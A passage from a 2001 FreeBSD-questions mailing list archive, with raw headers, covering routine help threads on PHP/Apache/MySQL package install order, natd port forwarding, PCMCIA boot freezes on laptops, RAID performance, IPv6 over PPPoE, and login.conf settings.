-0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15355.18460.20705.871762@guru.mired.org> Date: Wed, 21 Nov 2001 00:22:20 -0600 To: "Ted Mittelstaedt" Cc: Subject: RE: home pc use In-Reply-To: <004b01c17252$1b8880e0$1401a8c0@tedm.placo.com> References: <15355.16741.576076.247915@guru.mired.org> <004b01c17252$1b8880e0$1401a8c0@tedm.placo.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ted Mittelstaedt types: > >> Pull crap like that a few too many times and your going to end up with > >> no job. Yes, you can stave off the immediate demands with excuses. > >> Another common excuse that works with FreeBSD is "I left voicemail with > >> the consultant and he hasn't gotten back yet" > >Please note that the text Ted is replying to is *not* mine. > Sorry Mike, I did know that - I should have made it a bit more clear. It > always gets my dander up to read all the FUD regarding support, it's the > most overrated thing in the software business there is. But > I wouldn't worry too much as by now I think most people are deleting the > messages in this thread unread. ;-) Well, it had '>' in front of it when I sent it out. I agree that most people are probably just deleting it; I wanted to make it clear to those few still following it. And for those who actually *like* this kind of thing, you might check out advocacy@freebsd.org. This is what it's for. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 22:45:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mip.co.za (puck.mip.co.za [209.212.106.44]) by hub.freebsd.org (Postfix) with ESMTP id 2AFF437B418 for ; Tue, 20 Nov 2001 22:45:13 -0800 (PST) Received: from patrick (patrick.mip.co.za [10.3.13.181]) by mip.co.za (8.9.3/8.9.3) with SMTP id IAA99525; Wed, 21 Nov 2001 08:44:22 +0200 (SAST) (envelope-from patrick@mip.co.za) From: "Patrick O'Reilly" To: "Jacob Rhoden" , Subject: RE: php/apache/mysql incompatibility Date: Wed, 21 Nov 2001 08:49:17 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <5.0.0.25.2.20011121102150.00a2d040@vicyouth.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Well, you could be a bit more specific!!! I'm running php/apache/postreSQL, all installed from packages, and they work just fine-n-dandy! Perhaps MySQL is a problem? Patrick. > -----Original Message----- > From: owner-freebsd-questions@FreeBSD.ORG > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Jacob Rhoden > Sent: 21 November 2001 20:23 > To: freebsd-questions@FreeBSD.ORG > Subject: php/apache/mysql incompatibility > > > Hi, > > Is it just me, or is it fairly bad for packages to be setup so that they > don't work together? Essentially anyone who wants to use php from > packages > can't? > > Regards > Jacob Rhoden > > > "As for me and my house, we Jacob Rhoden > will serve the Lord" jj@f3z.net > (Joshua 24:15) 0403 788 386 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 22:52:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2]) by hub.freebsd.org (Postfix) with ESMTP id AEE7837B41A for ; Tue, 20 Nov 2001 22:52:24 -0800 (PST) Received: from trine (213-187-161-49.dd.nextgentel.com [213.187.161.49]) by mail.broadpark.no (Postfix) with ESMTP id 264E37D5D; Wed, 21 Nov 2001 07:52:23 +0100 (MET) From: "Kjell" To: Date: Wed, 21 Nov 2001 06:58:27 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: An ipfw/nat port forwarding issue Reply-To: kjell@la3sg.net Cc: freebsd-questions@freebsd.org Message-ID: <3BFB5093.17836.16AE2B@localhost> In-reply-to: <000a01c1722f$060cb510$f801a8c0@fmepro.com> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Hello, I have a little problem in getting NAT port forwarding to work in > the > following situation. Situation: > Jast a side comment. I had the same 'problem' when running ipfw/nat.. When I set up my gw using ipfilter, the proper ipnat.rules file took care of the situation. regards from Kjell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 23:21:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from deborah.paradise.net.nz (deborah.paradise.net.nz [203.96.152.32]) by hub.freebsd.org (Postfix) with ESMTP id 7B4E237B416 for ; Tue, 20 Nov 2001 23:21:54 -0800 (PST) Received: from ss11232 (203-79-72-40.cable.paradise.net.nz [203.79.72.40]) by deborah.paradise.net.nz (Postfix) with ESMTP id 23DA0D1A8B; Wed, 21 Nov 2001 20:21:53 +1300 (NZDT) From: rshea@opendoor.co.nz To: Jacob Rhoden Date: Wed, 21 Nov 2001 20:20:50 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: php/apache/mysql incompatibility Cc: freebsd-questions@freebsd.org Message-ID: <3BFC0CA2.4707.E565FF0@localhost> In-reply-to: <5.0.0.25.2.20011121102150.00a2d040@vicyouth.com> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Is it just me, or is it fairly bad for packages to be setup so that they > don't work together? Essentially anyone who wants to use php from packages > can't? > I can confirm (along with others, no doubt) that it's more than possible to run php / apache / mysql together and taken from the packages. What's the nature of your problem ? regards richard shea. ***************************************************** Open Door Ltd PO Box 119-46 Wellington, NZ PH +64 4 384 7639 FX +64 4 384 7672 ***************************************************** To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 23:32:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2]) by hub.freebsd.org (Postfix) with ESMTP id F0EF737B42B for ; Tue, 20 Nov 2001 23:32:01 -0800 (PST) Received: from trine (213-187-161-49.dd.nextgentel.com [213.187.161.49]) by mail.broadpark.no (Postfix) with ESMTP id 48EAB7DDB; Wed, 21 Nov 2001 08:32:00 +0100 (MET) From: "Kjell" To: jacob@vicyouth.com Date: Wed, 21 Nov 2001 07:38:05 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: php/apache/mysql incompatibility Reply-To: kjell@la3sg.net Cc: freebsd-questions@freebsd.org Message-ID: <3BFB59DD.8217.3AF6D3@localhost> In-reply-to: <3BFC0CA2.4707.E565FF0@localhost> References: <5.0.0.25.2.20011121102150.00a2d040@vicyouth.com> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > Is it just me, or is it fairly bad for packages to be setup so that they > > don't work together? Essentially anyone who wants to use php from packages > > can't? > > > > I can confirm (along with others, no doubt) that it's more than possible to run > php / apache / mysql together and taken from the packages. > > > What's the nature of your problem ? > I can second the above! However, all since 4.1 you have had to load the packages one by one in the following sequence to make it work: 1) PHP4 This will pull in the proper version of apache as a dependency, and PHP4 will fail. 2) MySQL (use FTP as it is not on the 4.4 disc 1) 3) PHP4 which will now succeed. gl from Kjell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 23:46: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mighty.grot.org (mighty.grot.org [216.15.97.5]) by hub.freebsd.org (Postfix) with ESMTP id 343B837B405 for ; Tue, 20 Nov 2001 23:46:05 -0800 (PST) Received: by mighty.grot.org (Postfix, from userid 515) id D293C5E19; Tue, 20 Nov 2001 23:46:04 -0800 (PST) Date: Tue, 20 Nov 2001 23:46:04 -0800 From: "R.P. Aditya" To: Masanori Nakahara Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Inspiron 2100 Message-ID: <20011120234604.A29105@mighty.grot.org> Reply-To: "R.P. Aditya" References: <031501c0d9c3$874a7db0$33025f80@cseresearch.cs.washington.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <031501c0d9c3$874a7db0$33025f80@cseresearch.cs.washington.edu>; from masa@cs.washington.edu on Thu, May 10, 2001 at 07:38:57PM -0700 X-PGP-Key: http://www.grot.org/pubkey.asc X-PGP-Key-ID: 0x6405D8D5 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi masa-san, On Thu, May 10, 2001 at 07:38:57PM -0700, Masanori Nakahara wrote: > Does anyone try to install FreeBSD to Dell Inspiron 2100 > notebook? I tried 4.3-Release. However, if pcmcia slot is > used, it freeze during booting. were you able to solve this problem? if so, could you summarize what you had to do to get things working and if you still have any problems on the Inspiron 2100? Does power-saving/sleep and a subsequent wake work? Thanks, Adi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 23:59:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mz2.media3.net (mz2.media3.net [206.67.59.1]) by hub.freebsd.org (Postfix) with ESMTP id 5798837B416 for ; Tue, 20 Nov 2001 23:59:21 -0800 (PST) Received: from aalway.org (acbcaef6.ipt.aol.com [172.188.174.246]) by mz2.media3.net (8.9.3/8.9.2) with SMTP id CAA15045 for ; Wed, 21 Nov 2001 02:37:20 -0500 (EST) Date: Wed, 21 Nov 2001 02:37:20 -0500 (EST) Message-Id: <200111210737.CAA15045@mz2.media3.net> From: tt@aalway.org (Tarik Tabani) To: freebsd-questions@FreeBSD.ORG SUBJECT: La NewsLetter d'AALWAY Software MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0030_01C05A02.8AD62BA0" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) 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00:35:27 -0800 (PST) Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx8.airmail.net with smtp (Exim 3.16 #10) id 166Sqt-0008AA-00; Wed, 21 Nov 2001 02:35:27 -0600 Received: from fanec from [213.121.101.250] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with smtp for sender: id ; Wed, 21 Nov 2001 02:36:49 -0600 (CST) From: "Alan Edmonds" To: "R.P. Aditya" , "Masanori Nakahara" Cc: Subject: RE: Inspiron 2100 (freeze during boot) Date: Wed, 21 Nov 2001 08:35:25 -0000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) x-mimeole: Produced By Microsoft MimeOLE V5.50.4807.1700 In-Reply-To: <20011120234604.A29105@mighty.grot.org> Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I had a similar problem with an thinkpad (model 1500). Thanks to a post from Sean Noonan, I reinvestigated the problem and was able to install 4.4. He trick that worked for me was to interrupt the boot during the 10 second wait and enter the following: set hw.pcic.intr_path=1 set hw.pcic.irq=0 That allowed the install to get past the "mounting root from ufs:/dev/md0c" and work. It even allowed the network card in the pcmcia slot to be configured and work. I still seem to have a problem adding and removing cards (the system freezes). I'm cvsuping to -stable and I'll keep playing with it. Alan Edmonds > -----Original Message----- > From: owner-freebsd-questions@FreeBSD.ORG > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of R.P. Aditya > Sent: 21 November 2001 07:46 > To: Masanori Nakahara > Cc: freebsd-questions@FreeBSD.ORG > Subject: Re: Inspiron 2100 > > > Hi masa-san, > > On Thu, May 10, 2001 at 07:38:57PM -0700, Masanori Nakahara wrote: > > Does anyone try to install FreeBSD to Dell Inspiron 2100 > > notebook? I tried 4.3-Release. However, if pcmcia slot is > > used, it freeze during booting. > > were you able to solve this problem? if so, could you summarize what you had > to do to get things working and if you still have any problems on the Inspiron > 2100? Does power-saving/sleep and a subsequent wake work? > > Thanks, > Adi > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 0:44:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from zang.com (zang.com [216.34.130.70]) by hub.freebsd.org (Postfix) with ESMTP id CE1F437B405 for ; Wed, 21 Nov 2001 00:44:14 -0800 (PST) Received: from localhost (johne@localhost) by zang.com (8.9.1a/8.9.1) with ESMTP id AAA25022 for ; Wed, 21 Nov 2001 00:44:14 -0800 (PST) Date: Wed, 21 Nov 2001 00:44:14 -0800 (PST) From: John Engelhart To: freebsd-questions@freebsd.org Subject: Performance problems with Adaptec 3210S controller in 4.4 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, I've just finished installing and migrating over to a new Adaptec 3210S controller card and I have to say, the performance is totally uninspiring. So uninspirining that clearly I have done something wrong. Setup: Tyan Tiger MP 2460 w/ dual MP 1800's MB PCI is 64bit/33MHz 1 gig ram 1 Adaptec 3210S controller 8 Seagate ST318452LW (the zippy fast 15K RPM ones) 4 to each channel RAID 0+5, 4 drives on channel A on RAID5 #1, ditto on B 64Kbyte stripe size Write-Back config (no battery back up yet, shipped wrong one) 128Meg cache 1 NetGear GA622T card 1 J-Random NVidia AGP card 1 IDE CDROM 1 IDE 60 gig drive Running 4.4 By all accounts, the RAID set up should be pretty darn quick. The PCI bus should be the limit, at around 250MB/sec. However, I'm lucky to see 30MB/s (as measured by iostat) off the thing. It's only slightly faster than the IDE drive. So... What am I doing wrong, here? newfs not done right (for starters, I did just a plain jane newfs).. RAID set up wrong? Expectations wrong? Heck, just one of those segate drives has a minimum sustained transfer of over 45MB/sec. Any thoughts/pointers/etc appreciated. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 0:47:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from TYO201.gate.nec.co.jp (TYO201.gate.nec.co.jp [202.32.8.214]) by hub.freebsd.org (Postfix) with ESMTP id C0A5337B405 for ; Wed, 21 Nov 2001 00:47:51 -0800 (PST) Received: from mailgate4.nec.co.jp ([10.7.69.197]) by TYO201.gate.nec.co.jp (8.11.6/3.7W01080315) with ESMTP id fAL8luR18348 for ; Wed, 21 Nov 2001 17:47:56 +0900 (JST) Received: from fireball.ntsp.nec.co.jp (mailgate51.nec.co.jp [10.7.69.190]) by mailgate4.nec.co.jp (8.11.6/3.7W-MAILGATE-NEC) with ESMTP id fAL8lhw28844 for ; Wed, 21 Nov 2001 17:47:45 +0900 (JST) Received: (from smtp@localhost) by fireball.ntsp.nec.co.jp (8.9.2/8.9.2) id QAA15796 for ; Wed, 21 Nov 2001 16:44:54 +0800 (HKT) Received: from UNKNOWN(172.28.58.129), claiming to be "avalon.ntsp.nec.co.jp" via SMTP by fireball.ntsp.nec.co.jp, id smtpdAAAHbQfD_; Wed Nov 21 08:44:51 2001 Received: from ntsp.nec.co.jp ([172.28.59.131]) by avalon.ntsp.nec.co.jp (8.9.2/8.9.2) with ESMTP id QAA21927 for ; Wed, 21 Nov 2001 16:41:23 +0800 (HKT) Message-ID: <3BFEEDC9.5E8E253A@ntsp.nec.co.jp> Date: Sat, 24 Nov 2001 08:46:01 +0800 From: "Ronnel P. Maglasang" X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: questions@FreeBSD.org Subject: IPv6 on PPPoE question Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi, greetings. i've been through looking the documents and howto's of freebsd on how to configure PPPoE or PPP to support IPV6 and IPV6CP as mentioned in rfc2472. but i never found anything that mention IPV6. is IPV6 and IPV6CP already supported in freebsd4.x releases? if yes, please teach me how to configure /etc/ppp/ppp.conf to support IPV6 address (set ifaddr). thanks a lot. ronnel To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 0:59: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from TYO202.gate.nec.co.jp (TYO202.gate.nec.co.jp [202.247.6.41]) by hub.freebsd.org (Postfix) with ESMTP id 05DE537B416 for ; Wed, 21 Nov 2001 00:59:06 -0800 (PST) Received: from mailgate4.nec.co.jp ([10.7.69.195]) by TYO202.gate.nec.co.jp (8.11.6/3.7W01080315) with ESMTP id fAL8xCO21545 for ; Wed, 21 Nov 2001 17:59:12 +0900 (JST) Received: from fireball.ntsp.nec.co.jp (mailgate51.nec.co.jp [10.7.69.190]) by mailgate4.nec.co.jp (8.11.6/3.7W-MAILGATE-NEC) with ESMTP id fAL8wha00991 for ; Wed, 21 Nov 2001 17:58:49 +0900 (JST) Received: (from smtp@localhost) by fireball.ntsp.nec.co.jp (8.9.2/8.9.2) id QAA16337 for ; Wed, 21 Nov 2001 16:56:01 +0800 (HKT) Received: from UNKNOWN(172.28.58.129), claiming to be "avalon.ntsp.nec.co.jp" via SMTP by fireball.ntsp.nec.co.jp, id smtpdAAAzDozQ_; Wed Nov 21 08:55:55 2001 Received: from ntsp.nec.co.jp ([172.28.59.131]) by avalon.ntsp.nec.co.jp (8.9.2/8.9.2) with ESMTP id QAA23573 for ; Wed, 21 Nov 2001 16:52:26 +0800 (HKT) Message-ID: <3BFEF067.6DDA3B36@ntsp.nec.co.jp> Date: Sat, 24 Nov 2001 08:57:11 +0800 From: "Ronnel P. Maglasang" X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: PPPoE question Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi, greetings. i've been through looking the documents and howto's of freebsd on how to configure PPPoE or PPP to support IPV6 and IPV6CP as mentioned in rfc2472. but i never found anything that mention IPV6. is IPV6 and IPV6CP already supported in freebsd4.x releases? if yes, please teach me how to configure /etc/ppp/ppp.conf to support IPV6 address (set ifaddr). thanks a lot. ronnel To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 1: 1:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 52E9037B418 for ; Wed, 21 Nov 2001 01:01:22 -0800 (PST) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id fAL90WI67415; Wed, 21 Nov 2001 11:00:32 +0200 (EET) (envelope-from ru) Date: Wed, 21 Nov 2001 11:00:32 +0200 From: Ruslan Ermilov To: "Patrick O'Reilly" Cc: kendall@jedis.com, freebsd-questions@FreeBSD.ORG Subject: Re: An ipfw/nat port forwarding issue Message-ID: <20011121110032.F62423@sunbay.com> References: <000a01c1722f$060cb510$f801a8c0@fmepro.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.23i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 07:48:25AM +0200, Patrick O'Reilly wrote: > > From: Kendall Gifford > > Sent: 21 November 2001 03:51 > > > LAN requests for the external interface come in via the > > internal interface, pass through ipfw without any natd > > intervention, and are then foobar try's to service the > > www port 80 request (because it didn't get forwarded as > > natd runs on the external interface). Since foobar isn't > > serving up a www dinner, the client must starve. > > Am I close? Any suggestions? > > > > Kendall - I think your summary above is spot-on! natd does run on a > psecific interface (specified by the -n or -a argument to natd), and since > the offending packets are entering 'foobar' via a different interface, natd > does not have an opportunity to do its work. > > > The problem is when LAN clients try to access our web > > server via foobar. Now, normally they are not supposed > > to as the LAN's primary DNS server (not foobar) returns > > the local address for the www server. But, sometimes > > the clients, I assume due to very short time-outs, > > insist on reverting to secondary DNS (foobar) which > > gives them foobar's public IP. > > I think you need to address this problem on your primary DNS. Make sure it > responds and services your internal clients reliably. Is the internal DNS > server also FreeBSD? > Alternatively, you can run a second copy of natd(8) on your LAN interface (on the firewall box), and feed it with traffic from your LAN machines to your public IP spool. That way, your WWW server running on public IP address will see requests coming from the NAT machine, and reply packets will undergo a reverse process, and all should be working as expected. The rule of thumb: make sure the reply packets go through the NAT as well. Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 1:47:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web13608.mail.yahoo.com (web13608.mail.yahoo.com [216.136.175.119]) by hub.freebsd.org (Postfix) with SMTP id 9F08737B418 for ; Wed, 21 Nov 2001 01:47:55 -0800 (PST) Message-ID: <20011121094755.83402.qmail@web13608.mail.yahoo.com> Received: from [24.16.193.228] by web13608.mail.yahoo.com via HTTP; Wed, 21 Nov 2001 01:47:55 PST Date: Wed, 21 Nov 2001 01:47:55 -0800 (PST) From: Bzdik BSD Subject: Boot Floppies in Snapshots Missing? To: freebsd-stable@freebsd.org Cc: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi All, I apologize if I missed some announcement, but there were no boot floppy images in snapshots for a week. is this a new trend? __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 2:10:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rabbit.netstyle.com.ua (rabbit.netstyle.com.ua [193.193.194.5]) by hub.freebsd.org (Postfix) with ESMTP id 4E28037B417; Wed, 21 Nov 2001 02:10:09 -0800 (PST) Received: from mile.nevermind.kiev.ua (km-radio.kvazar-micro.com [213.186.199.26] (may be forged)) by rabbit.netstyle.com.ua (8.11.6/8.11.3) with ESMTP id fALABhG36301; Wed, 21 Nov 2001 12:11:47 +0200 (EET) (envelope-from never@mile.nevermind.kiev.ua) Received: (from never@localhost) by mile.nevermind.kiev.ua (8.11.6/8.11.4) id fALAHVS08594; Wed, 21 Nov 2001 12:17:31 +0200 (EET) (envelope-from never) Date: Wed, 21 Nov 2001 12:17:31 +0200 From: Nevermind To: Marcel Moolenaar Cc: Cyrille Lefevre , "David O'Brien" , Andreas Klemm , ports@FreeBSD.ORG, questions@FreeBSD.ORG Subject: Re: linux_base-{6|7} && staroffice-{52|6} (was: PORTVERSION=6.1 wrong in linux_base-62 ???) Message-ID: <20011121121731.B3519@nevermind.kiev.ua> References: <20011115211037.B721@dhcp01.pn.xcllnt.net> <200111161203.fAGC3FI05149@gits.dyndns.org> <20011116184522.A528@athlon.pn.xcllnt.net> <20011119150708.B13357@nevermind.kiev.ua> <20011119105703.A39046@dhcp01.pn.xcllnt.net> <20011119211445.B11785@nevermind.kiev.ua> <20011119133046.B50804@kayak.xcllnt.net> <20011120143959.A3345@nevermind.kiev.ua> <20011120195902.A695@dhcp01.pn.xcllnt.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120195902.A695@dhcp01.pn.xcllnt.net>; from marcel@xcllnt.net on Tue, Nov 20, 2001 at 07:59:02PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, Marcel Moolenaar! On Tue, Nov 20, 2001 at 07:59:02PM -0800, you wrote: > > > A recent -STABLE machine with a linux kernel module before the Mega-MFC. > > Had it been coomited? I mean 2.4.x linux kernel module? > > It is committed. Yes, I can see, just cvsuped. 2.4.2 > > > P.S. There is another PR about the same situation: > > http://www.freebsd.org/cgi/query-pr.cgi?pr=ports/31086 > > Ok, this is more recent than my latest attempt to install the port > on a -stable box (which worked fine). My knowledge is stale, so I > guess it's up to the maintainer. FreeBSD mile.nevermind.kiev.ua 4.4-STABLE FreeBSD 4.4-STABLE #0: Tue Nov 20 16:04:14 EET 2001 root@mile.nevermind.kiev.ua:/usr/obj/usr/src/sys/mile i386 Linux mile.nevermind.kiev.ua 2.4.2 FreeBSD 4.4-STABLE #0: Tue Nov 20 16:04:14 EET 2001 root@mil i386 unknown ^ btw, what is this, why it is not root@mile ? :> I've tried to install SO5.2 and SO6.0 on this -STABLE box, but I'm still getting 11 signal on make install(setup.bin segfaults), while everything else works fine, I even tried to make stress test via `make -j8 buildworld', no coredumps, so I suppose it is not memory problem. -- NEVE-RIPE To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 2:17:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from FreeBSD.KuwaitNet.Net (FreeBSD.KuwaitNet.Net [209.85.227.165]) by hub.freebsd.org (Postfix) with ESMTP id DEC8F37B417 for ; Wed, 21 Nov 2001 02:17:26 -0800 (PST) Received: from FreeBSD.KuwaitNet.Net (big@localhost.KuwaitNet.Net [127.0.0.1]) by FreeBSD.KuwaitNet.Net (8.12.1/8.11.0) with ESMTP id fALAHQsd027354 for ; Wed, 21 Nov 2001 02:17:26 -0800 (PST) Received: from localhost (big@localhost) by FreeBSD.KuwaitNet.Net (8.12.1/8.12.1/Submit) with ESMTP id fALAHQuG027351 for ; Wed, 21 Nov 2001 02:17:26 -0800 (PST) X-Authentication-Warning: FreeBSD.KuwaitNet.Net: big owned process doing -bs Date: Wed, 21 Nov 2001 13:17:26 +0300 (AST) From: Bashar To: Subject: login.conf? Message-ID: <20011121131418.E27152-100000@FreeBSD.KuwaitNet.Net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Regards, Running Fbsd 3.5 and 4.4 seems some function at login.conf doesn't work for some reason such as autodelete, idletime and sessiontime (maybe others) is there any special thing need to be done to activate these function? eventhough the welcome,maxproc,coredumpsize and cputime for example work perfectly. Please re-advice in this issue. Thanks To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 2:21: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f98.law3.hotmail.com [209.185.241.98]) by hub.freebsd.org (Postfix) with ESMTP id 6DFF837B405; Wed, 21 Nov 2001 02:20:54 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 21 Nov 2001 02:20:54 -0800 Received: from 139.108.175.26 by 